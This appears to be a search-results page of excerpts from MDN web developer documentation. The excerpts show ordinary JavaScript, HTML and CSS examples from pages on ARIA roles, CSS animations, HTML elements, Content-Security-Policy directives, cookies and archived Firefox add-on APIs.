... order — music, cats, nature, and ice cream"> <pre><code> let awesome = ['music', 'cats', 'nature', 'ice cream']; </code></pre> <p id="figure-1">figure 1: the four layers of awesome.</p> </div> best practices only use role="figure" if you have to — for example if you don't have control over your html but are able to improve accessibility dynamically after the fact with javascript.
ARIA: tab role - Accessibility
required javascript features while there are ways to build tab-like functionality without javascript, there are no substitute combination of html and css only that will provide the same set of functionality that's required above for accessible tabs with content.
...all of the tabpanel elements have tabindex=0 to make them tabbable, and all but the currently active one have the hidden attribute, which we will change with javascript.
...x solid grey; border-bottom: 0; padding: 0.2em; } [role="tab"][aria-selected="true"] { z-index: 3; } [role="tabpanel"] { position: relative; padding: 0 0.5em 0.5em 0.7em; border: 1px solid grey; border-radius: 0 0 5px 5px; background: white; z-index: 2; } [role="tabpanel"]:focus { border-color: orange; outline: 1px solid orange; } there are two things we need to do with javascript: we need to change focus and tab index of our tab elements with the right and left arrows, and we need to change the active tab and tabpanel when we click on a tab.
ARIA: button role - Accessibility
required javascript features required event handlers buttons can be operated by mouse, touch, and keyboard users.
...l> <input type="text" id="newname"> <span role="button" tabindex="0" onclick="handlecommand()" onkeydown="handlecommand()">add name</span> css [role="button"] { padding: 2px; background-color: navy; color: white; cursor: default; } [role="button"]:hover, [role="button"]:focus, [role="button"]:active { background-color: white; color: navy; } ul { list-style: none; } javascript function handlecommand(event) { // handles both mouse clicks and keyboard // activate with enter or space // get the new name value from the input element let newnameinput = document.getelementbyid('newname'); let name = newnameinput.value; newnameinput.value = ''; // clear the text field newnameinput.focus(); // give the text field focus to enable entering and addi...
...</audio> css button, [role="button"] { padding: 3px; border: 2px solid transparent; } button:active, button:focus, [role="button"][aria-pressed="true"] { border: 2px solid #000; } javascript function handlebtnclick(event) { togglebutton(event.target); } function handlebtnkeydown(event) { // check to see if space or enter were pressed if (event.key === " " || event.key === "enter" || event.key === "spacebar") { // "spacebar" for ie11 support // prevent the default action to stop scrolling when space is pressed event.preventdefault(); togglebutton(event.target); }...
CSS Animations tips and tricks - CSS: Cascading Style Sheets
javascript content next we'll look at the javascript that does the work.
... use javascript and clear the animation being used when the animationiteration event fires.
... the following demo shows how you'd achieve the aforementioned javascript technique: .slidein { animation-duration: 5s; animation-name: slidein; animation-iteration-count: infinite; } .stopped { animation-name: none; } @keyframes slidein { 0% { margin-left: 0%; } 50% { margin-left: 50%; } 100% { margin-left: 0%; } } <h1 id="watchme">click me to stop</h1> let watchme = document.getelementbyid('watchme') watchme.classname = 'slidein' const listener = (e) => { watchme.classname = 'slidein stopped' } watchme.addeventlistener('click', () => watchme.addeventlistener('animationiteration', listener, false) ) demo https://jsfiddle.net/morenoh149/5ty5a4oy/ ...
Using CSS animations - CSS: Cascading Style Sheets
there are three key advantages to css animations over traditional script-driven animation techniques: they’re easy to use for simple animations; you can create them without even having to know javascript.
...simple animations can often perform poorly in javascript (unless they’re well made).
... .slidein { animation-duration: 3s; animation-name: slidein; animation-iteration-count: 3; animation-direction: alternate; } @keyframes slidein { from { margin-left:100%; width:300% } to { margin-left:0%; width:100%; } } adding the animation event listeners we’ll use javascript code to listen for all three possible animation events.
Using CSS transitions - CSS: Cascading Style Sheets
javascript examples care should be taken when using a transition immediately after: adding the element to the dom using .appendchild() removing an element's display: none; property.
... using transitions to make javascript functionality smooth transitions are a great tool to make things look much smoother without having to do anything to your javascript functionality.
... <p>click anywhere to move the ball</p> <div id="foo"></div> using javascript you can make the effect of moving the ball to a certain position happen: var f = document.getelementbyid('foo'); document.addeventlistener('click', function(ev){ f.style.transform = 'translatey('+(ev.clienty-25)+'px)'; f.style.transform += 'translatex('+(ev.clientx-25)+'px)'; },false); with css you can make it smooth without any extra effort.
Ajax - Developer guides
WebGuideAJAX
asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascript, dom, xml, xslt, and most importantly the xmlhttprequest object.
... although x in ajax stands for xml, json is used more than xml nowadays because of its many advantages such as being lighter and a part of javascript.
... parsing and serializing xml how to parse an xml document from a string, a file or via javascript and how to serialize xml documents to strings, javascript object trees (jxon) or files.
Adding captions and subtitles to HTML5 video - Developer guides
if you are not interested in this, and just want to get straight into the javascript and more relevant css, skip to the subtitle implementation section.
... no image is used for the captions button, so it is simply styled as: .controls button[data-state="subtitles"] { height:85%; text-indent:0; font-size:16px; font-size:1rem; font-weight:bold; color:#666; background:#000; border-radius:2px; } there are also other css changes that are specific to some extra javascript implementation, but these will be mentioned at the appropriate place below.
... subtitle implementation a lot of what we do to access the video subtitles revolves around javascript.
Challenge solutions - Developer guides
solution the following rule achieves the desired result: h1:hover { color: blue; } javascript move box to the right challenge change the script so that the square jumps to the right by 20 em when its color changes, and jumps back afterwards.
...be sure to specify it as marginleft in javascript.
... the following script achieves the desired result: // javascript demonstration function dodemo (button) { var square = document.getelementbyid("square"); square.style.backgroundcolor = "#fa4"; square.style.marginleft = "20em"; button.setattribute("disabled", "true"); settimeout(cleardemo, 2000, button); } function cleardemo (button) { var square = document.getelementbyid("square"); square.style.backgroundcolor = "transparent"; square.style.marginleft = "0em"; button.removeattribute("disabled"); } svg and css change color of inner petals challenge change the stylesheet so that the inner petals all turn pink when the mouse pointer is over any one of them, without changing the way the outer petals work.
Making content editable - Developer guides
by using some javascript event handlers, you can transform your web page into a full and fast rich text editor.
...you can use the older firefox behavior with this line: document.execcommand("defaultparagraphseparator", false, "br"); security for security reasons, firefox doesn't let javascript code use clipboard related features (copy, paste, etc.) by default.
...y.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org"); user_pref("capability.policy.allowclipboard.clipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); example: a simple but complete rich text editor <!doctype html> <html> <head> <title>rich text editor</title> <script type="text/javascript"> var odoc, sdeftxt; function initdoc() { odoc = document.getelementbyid("textbox"); sdeftxt = odoc.innerhtml; if (document.compform.switchmode.checked) { setdocmode(true); } } function formatdoc(scmd, svalue) { if (validatemode()) { document.execcommand(scmd, false, svalue); odoc.focus(); } } function validatemode() { if (!document.compform.switchmode.checked) { return true ; } al...
Printing - Developer guides
open and automatically close a popup window when finished if you want to be able to automatically close a popup window (for example, the printer-friendly version of a document) after the user prints its contents, you can use code like this: <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>javascript window close example </title> <script type="text/javascript"> function popuponclick() { my_window = window.open('', 'mywindow', 'status=1,width=350,height=150'); my_window.document.write('<html><head><title>print me</title></head>'); my_window.document.write('<body onafterprint="self.close()">'); my_window.document.write('<p>when you print this window, it will close ...
...you can also try changing the code to use <code>beforeprint</code> to see the difference.</p> <p><a href="javascript: popuponclick()">open popup window</a></p> </body> </html> view live examples print an external page without opening it if you want to be able to print an external page without opening it, you can utilize a hidden <iframe> (see: htmliframeelement), automatically removing it after the user prints its contents.
... the following is a possible example which will print a file named externalpage.html: <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>mdn example</title> <script type="text/javascript"> function closeprint () { document.body.removechild(this.__container__); } function setprint () { this.contentwindow.__container__ = this; this.contentwindow.onbeforeunload = closeprint; this.contentwindow.onafterprint = closeprint; this.contentwindow.focus(); // required for ie this.contentwindow.print(); } function printpage (surl) { var ohiddframe = document.createelement("iframe"); ohiddframe.onload = setprint; ohiddframe.style.position = "fixed"; ohiddframe.style.right = "0"; ohiddframe.style.bottom = "0"; ohiddframe.style.width...
HTML attribute reference - HTML: Hypertext Markup Language
the idl attribute is also known as a javascript property.
... these are the attributes you can read or set using javascript properties like element.foo.
...if you pass another type, it is automatically converted to a number as specified by the standard javascript rules for type conversion.
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
<a href="" download="my_painting.png">download my painting</a> </p> <canvas width="300" height="300"></canvas> css html { font-family: sans-serif; } canvas { background: #fff; border: 1px dashed; } a { display: inline-block; background: #69c; color: #fff; padding: 5px 10px; } javascript var canvas = document.queryselector('canvas'), c = canvas.getcontext('2d'); c.fillstyle = 'hotpink'; function draw(x, y) { if (isdrawing) { c.beginpath(); c.arc(x, y, 10, 0, math.pi*2); c.closepath(); c.fill(); } } canvas.addeventlistener('mousemove', event => draw(event.offsetx, event.offsety) ); canvas.addeventlistener('mousedown', () => isdrawing = true); canvas.ad...
... onclick events anchor elements are often abused as fake buttons by setting their href to # or javascript:void(0) to prevent the page from refreshing, then listening for their click events .
... these bogus href values cause unexpected behavior when copying/dragging links, opening links in a new tab/window, bookmarking, or when javascript is loading, errors, or is disabled.
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
you can, however, create your own custom controls using javascript and the htmlmediaelement api.
... you can also use the web audio api to directly generate and manipulate audio streams from javascript code rather than streaming pre-existing audio files.
... to get a consistent look and feel across browsers, you'll need to create custom controls; these can be marked up and styled in whatever way you want, and then javascript can be used along with the htmlmediaelement api to wire up their functionality.
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
WebHTMLElementcanvas
that content will be rendered both on older browsers that don't support canvas and in browsers with javascript disabled.
... it is better to specify your canvas dimensions by setting the width and height attributes directly on the <canvas> elements, either directly in the html or by using javascript.
...</canvas> javascript then in the javascript code, call htmlcanvaselement.getcontext() to get a drawing context and start drawing onto the canvas: const canvas = document.queryselector('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); result accessibility concerns alternative content the <canvas> element on its own is just a bitmap and does not provide inf...
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
you can get and set the date value in javascript with the input element's value and valueasnumber properties.
... span { position: relative; } span::after { right: -18px; position: absolute; } input:invalid + span::after { content: '✖'; } input:valid + span::after { content: '✓'; } at the moment, the best way to deal with dates in forms in a cross-browser way is to have the user enter the day, month, and year in separate controls, or to use a javascript library such as jquery date picker.
...months are hardcoded (as they are always the same), while the day and year values are dynamically generated depending on the currently selected month and year, and the current year (see the code comments below for detailed explanations of how these functions work.) span { padding-left: 5px; } input:invalid + span::after { content: '✖'; } input:valid + span::after { content: '✓'; } javascript the other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <input type="date">.
<input type="search"> - HTML: Hypertext Markup Language
WebHTMLElementinputsearch
you can retrieve this using the htmlinputelement.value property in javascript.
...it must be a valid javascript regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii.
...its value can, however, still be changed by javascript code directly setting the htmlinputelement.value property.
<input type="tel"> - HTML: Hypertext Markup Language
WebHTMLElementinputtel
it must be a valid javascript regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii.
...its value can, however, still be changed by javascript code directly setting the htmlinputelement.value property.
... aria-label="first part of number"> <span class="validity"></span> </span> <span class="number2div"> <input id="number2" name="number2" type="tel" required placeholder="second part" pattern="[0-9]{4}" aria-label="second part of number"> <span class="validity"></span> </span> </div> <div> <button>submit</button> </div> </form> the javascript is relatively simple — it contains an onchange event handler that, when the <select> value is changed, updates the <input> element's pattern, placeholder, and aria-label to suit the format of telephone numbers in that country/territory.
<input type="text"> - HTML: Hypertext Markup Language
WebHTMLElementinputtext
you can retrieve this using the value property in javascript.
...it must be a valid javascript regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii.
...its value can, however, still be changed by javascript code directly setting the htmlinputelement.value property.
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
other usage notes: if you don't specify the controls attribute, the video won't include the browser's default controls; you can create your own custom controls using javascript and the htmlmediaelement api.
... to show subtitles/captions along with your video, you can use some javascript along with the <track> element and the webvtt format.
... server support for video if the mime type for the video is not set correctly on the server, the video may not show or show a gray box containing an x (if javascript is enabled).
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
scripting in order to create dynamic content and web applications, html supports the use of scripting languages, most prominently javascript.
... <script> the html <script> element is used to embed executable code or data; this is typically used to embed or refer to javascript code.
... <template> the html content template (<template>) element is a mechanism for holding html that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using javascript.
x-ms-acceleratorkey - HTML: Hypertext Markup Language
the x-ms-acceleratorkey attribute accessibly declares that an accelerator key has been assigned to an element: the element is activated via javascript when the key(s) are pressed on a keyboard.
...you must provide javascript event handlers, like onkeypress, onkeydown, or onkeyup, to listen for your declared accelerator keys and activate the element accordingly.
... to provide a keyboard shortcut for an element that does not need javascript, use the accesskey attribute.
Access-Control-Allow-Credentials - HTTP
the access-control-allow-credentials response header tells browsers whether to expose the response to frontend javascript code when the request's credentials mode (request.credentials) is include.
... when a request's credentials mode (request.credentials) is include, browsers will only expose the response to frontend javascript code if the access-control-allow-credentials value is true.
...for a cors request with credentials, in order for browsers to expose the response to frontend javascript code, both the server (using the access-control-allow-credentials header) and the client (by setting the credentials mode for the xhr, fetch, or ajax request) must indicate that they’re opting in to including credentials.
CSP: child-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
... examples violation cases given this csp header: content-security-policy: child-src https://example.com/ this <iframe> and worker are blocked and won't load: <iframe src="https://not-example.com"></iframe> <script> var blockedworker = new worker("data:application/javascript,..."); </script> specifications specification status comment content security policy level 3the definition of 'child-src' in that specification.
CSP: script-src-attr - HTTP
the http content-security-policy (csp) script-src-attr directive specifies valid sources for javascript inline event handlers.
...if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: script-src-elem - HTTP
the http content-security-policy (csp) script-src-elem directive specifies valid sources for javascript <script> elements, but not inline script event handlers like onclick.
...if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: script-src - HTTP
the http content-security-policy (csp) script-src directive specifies valid sources for javascript.
...if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: worker-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
... examples violation cases given this csp header: content-security-policy: worker-src https://example.com/ worker, sharedworker, serviceworker are blocked and won't load: <script> var blockedworker = new worker("data:application/javascript,..."); blockedworker = new sharedworker("https://not-example.com/"); navigator.serviceworker.register('https://not-example.com/sw.js'); </script> specifications specification status comment content security policy level 3the definition of 'worker-src' in that specification.
Content-Security-Policy - HTTP
script-src specifies valid sources for javascript.
... script-src-elem specifies valid sources for javascript <script> elements.
... script-src-attr specifies valid sources for javascript inline event handlers.
Set-Cookie - HTTP
browsers block frontend javascript code from accessing the set cookie header, as required by the fetch spec, which defines set-cookie as a forbidden response-header name that must be filtered out from any response exposed to frontend code.
... httponly optional forbids javascript from accessing the cookie, for example, through the document.cookie property.
... note that a cookie that has been created with httponly will still be sent with javascript-initiated requests, e.g.
Redirections in HTTP - HTTP
there are two others: html redirections with the <meta> element javascript redirections via the dom html redirections http redirects are the best way to create redirections, but sometimes you don't have control over the server.
... javascript redirections redirections in javascript are performed by setting a url string to the window.location property, loading the new page: window.location = "https://example.com/"; like html redirections, this can't work on all resources, and obviously, this will only work on clients that execute javascript.
... javascript redirects execute last, and only if javascript is enabled.
Navigation and resource timings - Web Performance
performance timings the performancetiming api, a javascript api for measuring the loading performance of the requested page, is deprecated but supported in all browsers.
...client-side web applications may seem faster than this one with ​transfer sizes under 10000 and decoded body sizes under 30000, but that doesn't mean javascript, css, or media assets aren't adding bloat.
... checking compression ratios is important but ensure to also check duration and the time between when the domcontentloaded event ended and when the dom is complete, as running javascript on the main thread for long periods of time can lead to a non-responsive user interface.
Web Components
custom elements: a set of javascript apis that allow you to define custom elements and their behaviour, which can then be used as desired in your user interface.
... shadow dom: a set of javascript apis for attaching an encapsulated "shadow" dom tree to an element — which is rendered separately from the main document dom — and controlling associated functionality.
... html templates <template> contains an html fragment that is not rendered when a containing document is initially loaded, but can be displayed at runtime using javascript, mainly used as the basis of custom element structures.
XPath snippets - XPath
this article provides some xpath code snippets—simple examples of how to a few simple utility functions based on standard interfaces from the dom level 3 xpath specification that expose xpath functionality to javascript code.
... example: javascript code with the custom evaluatexpath() utility function // display the last names of all people in the doc var results = evaluatexpath(people, "//person/@last-name"); for (var i in results) alert("person #" + i + " has the last name " + results[i].value); // get the 2nd person node results = evaluatexpath(people, "/people/person[2]"); // get all the person nodes that have addresses in denver ...
...space-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']["+pos+']'+'/'+xpath; el = el.parentnode; } xpath = '/*'+"[name()='"+xml.documentelement.nodename+"' and namespace-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']"+'/'+xpath; xpath = xpath.replace(/\/$/, ''); return xpath; } resources xpath forum discussion on this topic see also introduction to using xpath in javascript ...
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
the javascript loads the .xsl file only on the first sort and sets the xslloaded variable to true once it has finished loading the file.
... the xslt file has a parameter called myorder that javascript sets to change the sorting method.
... figure 7: sorting based on div contentview example // xhtml fragment: <div id="example"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> <div>6</div> <div>7</div> <div>8</div> <div>9</div> <div>10</div> </div> // javascript var xslref; var xslloaded = false; var xsltprocessor = new xsltprocessor(); var mydom; var xmlref = document.implementation.createdocument("", "", null); function sort() { if (!xslloaded){ p = new xmlhttprequest(); p.open("get", "example2.xsl", false); p.send(null); xslref = p.responsexml; xsltprocessor.importstylesheet(xslref); xslloaded = true; } // create a n...
Contributor's Guide - Archive of obsolete content
unlike languages like c++ and java, javascript does not have native support for classical inheritance.
...unfortunately, javascript does not yet have native support for modules: it has to rely on the host application to provide it with functionality such as loading subscripts, and exporting/ importing names.
/loader - Archive of obsolete content
it can be loaded as a regular script tag in documents that have system principals (note: this does not appear to work as of 02.2016 due to "use strict" being added to the file): <script type='application/javascript' src='resource://gre/modules/commonjs/toolkit/loader.js'></script> this will expose a single loader object containing all of the api functions described in this document.
... it can be loaded as a javascript code module: let { loader, require, unload } = components.utils.import('resource://gre/modules/commonjs/toolkit/loader.js'); it can be required as a commonjs module from a module loaded in the loader itself: let { loader, require, unload } = require('toolkit/loader'); what is it good for ?
frame/utils - Archive of obsolete content
execution of scripts may easily be enabled: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,top'); let frame = create(window.document, { uri: 'data:text/html,<script>console.log("running");</script>', allowjavascript: true }); } globals functions create(document, options) creates a xul browser element in a privileged document.
... allowjavascript boolean whether to allow javascript execution.
lang/type - Archive of obsolete content
let { source } = require('sdk/lang/type'); var obj = { name: undefined, twitter: '@horse_js', tweets: [ { id: 100, text: 'what happens to you if you break the monad laws?' }, { id: 101, text: 'javascript dubstep generator' } ] }; console.log(source(obj)); // prints the below /* { // [object object] // writable configurable enumerable name: undefined, // writable configurable enumerable twitter: "@horse_js", // writable configurable enumerable tweets: [ { // [object object] // writable configurable enumerable id: 100, // writab...
...le configurable enumerable text: "what happens to you if you break the monad laws?", "__proto__": { // [object object] } }, { // [object object] // writable configurable enumerable id: 101, // writable configurable enumerable text: "javascript dubstep generator", "__proto__": { // [object object] } } ], "__proto__": { // [object object] } } */ parameters value : mixed the source object to create a textual representation of.
places/history - Archive of obsolete content
: "visitcount" } ).on("end", function (results) { // results is an array of objects containing // data about visits to any site on developers.mozilla.org // ordered by visit count }); // complex query // the query objects are or'd together // let's say we want to retrieve all visits from before a week ago // with the query of 'ruby', but from last week onwards, we want // all results with 'javascript' in the url or title.
... // we'd compose the query with the following options let lastweek = date.now - (1000*60*60*24*7); search( // first query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastweek }, // second query searches all entries after last week with 'javascript' { query: "javascript", from: lastweek }], // we want to order chronologically by visit date { sort: "date" } ).on("end", function (results) { // results is an array of objects containing visit data, // sorted by visit date, with all entries from more than a week ago // that contain 'ruby', *in addition to* entries from this last week // that contain 'javascript' }); globals functions search(queries, options) queries can be performed on history entries by passing in one or more query options.
Low-Level APIs - Archive of obsolete content
loader/sandbox create javascript sandboxes and execute scripts in them.
... ui/frame create html iframes, using bundled html, css and javascript, that can be added to a designated area of the firefox user interface.
cfx - Archive of obsolete content
for example, to pass the -jsconsole argument to firefox, which will launch the javascript error console, try the following: cfx run --binary-args -jsconsole to pass multiple arguments, or arguments containing spaces, quote them: cfx run --binary-args '-url "www.mozilla.org" -jsconsole' --extra-packages=extra_packages extra packages to include, specified as a comma-separated list of package names.
... for example, to pass the -jsconsole argument to firefox, which will launch the javascript error console, try the following: cfx run --binary-args -jsconsole to pass multiple arguments, or arguments containing spaces, quote them: cfx run --binary-args '-url "www.mozilla.org" -jsconsole' --dependencies load and run any tests that are included with modules that your package depends on.
Tutorials - Archive of obsolete content
display a popup display a popup dialog implemented with html and javascript.
... add-on debugger debug your add-on's javascript.
Add-on SDK - Archive of obsolete content
you can use various standard web technologies: javascript, html, and css, to create the add-ons.
... the sdk includes javascript apis, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons.
Dialogs and Prompts - Archive of obsolete content
} mydialog.xul: <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="mydialogid" title="my dialog" ondialogaccept="return onok();" onload="onload();" persist="screenx screeny width height" windowtype="mydialogwindowtype"> <script type="application/javascript" src="chrome://myext/content/mydialog.js"/> <grid> <columns><column/><column/></columns> <rows> <row align="center"><label value="name:"/><textbox id="name"/></row> <row align="center"><label value="description:"/><textbox id="description"/></row> <row align="center"><spacer/><checkbox id="enabled" label="check to enable"/></row> </rows> </grid> </dialog> mydia...
... nsipromptservice is an xpcom interface available to c++ and chrome javascript code (not to web pages' js), that provides methods for displaying a few simple types of dialogs.
Forms related code snippets - Archive of obsolete content
date picker (before implementing it in a working environment, please read the note about the const statement compatibility) <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>datepicker example - mdn</title> <script type="text/javascript"> /*\ |*| |*| datepicker example mdndeveloper network |*| |*| https://developer.mozilla.org/docs/code_snippets/forms |*| https://developer.mozilla.org/user:fusionchess |*| |*| this snippet is released under the gnu public license, version 3 or later.
...if you want to emulate an editable select through a <fieldset> of radioboxes and textboxes (written in pure css, without javascript), please see this example.
QuerySelector - Archive of obsolete content
return this.queryselector(selector); }; example: <h1>test!</h1> <script> htmldocument.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.$('h1')); // [object htmlheadingelement] </script> xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; example: <label value="test!"/> <script type="text/javascript"><![cdata[ xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; alert(document.$('label')); // [object xulelement] ]]></script> document.prototype.$ = function (selector) { // only for plain xml return this.queryselector(selector); }; var foo = document.implementation.createdocument('somens', 'foo', null); // create an xml document <foo...
...// gives 'bar' element.prototype.$ = function (selector) { // works for html, xul, and plain xml return this.queryselector(selector); }; html example: <h1><a>test!<a/></h1> <script> element.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.getelementsbytagname('h1')[0].$('a').nodename); // 'a' xul example: <hbox><vbox/></hbox> <script type="text/javascript"><![cdata[ element.prototype.$ = function (selector) { return this.queryselector(selector); }; var xulns = 'http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul'; alert(document.getelementsbytagnamens(xulns, 'hbox')[0].$('vbox').nodename); // vbox ]]></script> xml example: <foo xmlns="somens"><bar/></foo> in document earlier var foo = document.getelementsbytagnamens('somens', 'foo')...
Tree - Archive of obsolete content
to collapse all tree nodes just change the condition: var treeview = tree.treeboxobject.view; for (var i = 0; i < treeview.rowcount; i++) { if (treeview.iscontainer(i) && treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } getting the text from the selected row assuming the given <tree>: <tree id="my-tree" seltype="single" onselect="ontreeselected()"> use the following javascript: function ontreeselected(){ var tree = document.getelementbyid("my-tree"); var cellindex = 0; var celltext = tree.view.getcelltext(tree.currentindex, tree.columns.getcolumnat(cellindex)); alert(celltext); } getting the tree item from the focused row assuming <tree id="my-tree">, you can use the following to get the tree item: var view = document.getelementbyid("my-tree").view; ...
...for example, assuming the given <tree>: <tree id="my-tree" onclick="ontreeclicked(event)"> use the following javascript: function ontreeclicked(event){ var tree = document.getelementbyid("my-tree"); var tbo = tree.treeboxobject; // get the row, col and child element at the point var row = { }, col = { }, child = { }; tbo.getcellat(event.clientx, event.clienty, row, col, child); var celltext = tree.view.getcelltext(row.value, col.value); alert(celltext); } getting the selected indices of a multis...
Common Pitfalls - Archive of obsolete content
this will shield you from loading <tt>javascript:</tt> or <tt>chrome:</tt> uris when you shouldn't.
... how to create a uri object in almost all cases, when creating a uri object you want to use the newuri method on the nsiioservice interface, like so: javascript: try { var ioserv = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uriobj = ioserv.newuri(uristring, uricharset, baseuri); } catch (e) { // may want to catch ns_error_malformed_uri for some applications } c++: nsresult rv; nscomptr<nsiioservice> ioserv = do_getservice("@mozilla.org/network/io-service;1"); ns_ensure_success(rv, rv); nscomptr<nsiuri> uriobj; rv = ioserv->newuri(uristring, uricharset, baseuri, getter_addrefs(uriobj)); if (ns_failed(rv)) { // may want to handle ns_error_malformed_uri for // some applicatio...
Communication between HTML and your extension - Archive of obsolete content
i set the onblur action to a little javascript function that performed a standard ajax request to get a result.
... the onreadystatechange was set to another little javascript function that would update a specific element on the html page with the result.
Extension Etiquette - Archive of obsolete content
ideally, the location would be below the add-ons item, grouped with the other extension-related commands (menuitem:insertafter="javascriptconsole,devtoolsseparator").
...scripts can be loaded into their own globals, such as commonjs modules, javascript modules, or sandboxes, to avoid most global variable and prototype conflicts.
Installing Extensions and Themes From Web Pages - Archive of obsolete content
web script example <script type="application/javascript"> <!-- function install (aevent) { for (var a = aevent.target; a.href === undefined;) a = a.parentnode; var params = { "foo": { url: aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.url; } } }; installtrigger.install(params); return false; } //--> </script> <a href="http://www.example.com...
... available parameters for the install object the installtrigger.install method accepts a javascript object as a parameter, with several properties on that object used to affect the install.
Listening to events in Firefox extensions - Archive of obsolete content
set any javascript that you want to run every time a page loads to run when the pageshow event fires.
... if you call javascript functions as part of the pageshow event, you can ensure these functions are called when the page is loaded in browsers other than firefox 1.5 by calling the pageshow event as part of the load event, as shown in the sample later in this article.
Local Storage - Archive of obsolete content
it used to be the case that custom logging solutions were necessary, but mozilla labs have come up with a javascript implementation of a logger similar to the log4j logger used in java projects.
... the logger is called log4moz and it is implemented as a javascript code module, so it only works on firefox 3 and above.
Mozilla Documentation Roadmap - Archive of obsolete content
it encompasses firefox, other mozilla products, javascript, css, xul, web and extension development guidelines, accessibility, usability, best practices...
...first of all, the in-site search is not reliable, so we recommend using a search engine like google, with queries such as "mdc javascript code modules" or "javascript code modules site:developer.mozilla.org".
Observer Notifications - Archive of obsolete content
by non-chrome we mean javascript code modules or xpcom.
... as we saw in previous sections, you can use javascript code module and xpcom objects very easily from the chrome.
Extensions support in SeaMonkey 2 - Archive of obsolete content
thunderbird 3 gfolderdisplay api seamonkey 2.0 only supports a reduced set of methods: selectedcount selectedmessage selectedmessageisfeed selectedmessageisimap selectedmessageisnews selectedmessageisexternal selectedindices selectedmessages selectedmessageuris messagedisplay gmessagedisplay api seamonkey 2.0 only supports a reduced set of methods: displayedmessage visible javascript tweaks firefox supports some shorthand in various places.
... in javascript code you can use the following technique to detect the application: const firefox_id = "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}"; const thunderbird_id = "{3550f703-e582-4d05-9a08-453d09bdfdc6}"; const seamonkey_id = "{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}"; var appinfo = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo); if...
Adding preferences to an extension - Archive of obsolete content
the javascript code in order to monitor changes to our preferences, we need to install an observer using the nsiprefbranch2 interface.
...(yhoo)" oncommand="stockwatcher.watchstock('yhoo')"/> </menupopup> </popupset> each item in the menu has a label property, which specifies the text displayed in the menu, as well as an oncommand property, which indicates the javascript code to execute when the user selects that item.
Making a Mozilla installation modifiable - Archive of obsolete content
mozilla's user interface is made up of xul (described below), xbl (a topic for another tutorial), javascript, css, and image files.
... xul, xbl, javascript, and css files are all in text format and can be edited in a standard text editor, while image files are in binary gif, jpg, or png format and must be edited with an image editing program.
Getting Started - Archive of obsolete content
once you have put the files in the zip folder, rename it to myskin.jar triggering the install from the web to install the theme's jar file directly from the web, you need to run some javascript.
... <a href='javascript:installtrigger.installchrome(installtrigger.skin, "myskin.jar", "my skin theme")'>install my skin</a> if you have jar files on your hard drive and would like to install them, then download/use this form.
Creating a Microsummary - Archive of obsolete content
to do so, we need to put it up on the web and then create a javascript link on some web page that calls firefox's window.sidebar.addmicrosummarygenerator() method to download and install the generator.
